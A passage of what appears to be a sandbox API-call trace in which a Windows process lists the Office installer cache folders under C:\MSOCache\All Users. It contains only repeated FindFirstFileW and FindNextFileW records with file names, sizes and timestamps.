cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0047.176] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.176] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0047.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0047.177] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.177] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.177] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.177] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.177] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0047.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.179] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.179] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.179] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0047.179] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0047.179] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.179] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.180] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.180] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.180] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0047.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.182] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.182] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0047.182] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0047.182] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0047.182] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.182] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.182] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.183] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.183] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0047.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.183] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.183] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.183] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0047.183] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0047.183] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0047.184] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0047.184] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.184] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.184] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0047.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.186] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.186] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0047.186] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0047.186] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0047.186] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.186] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, 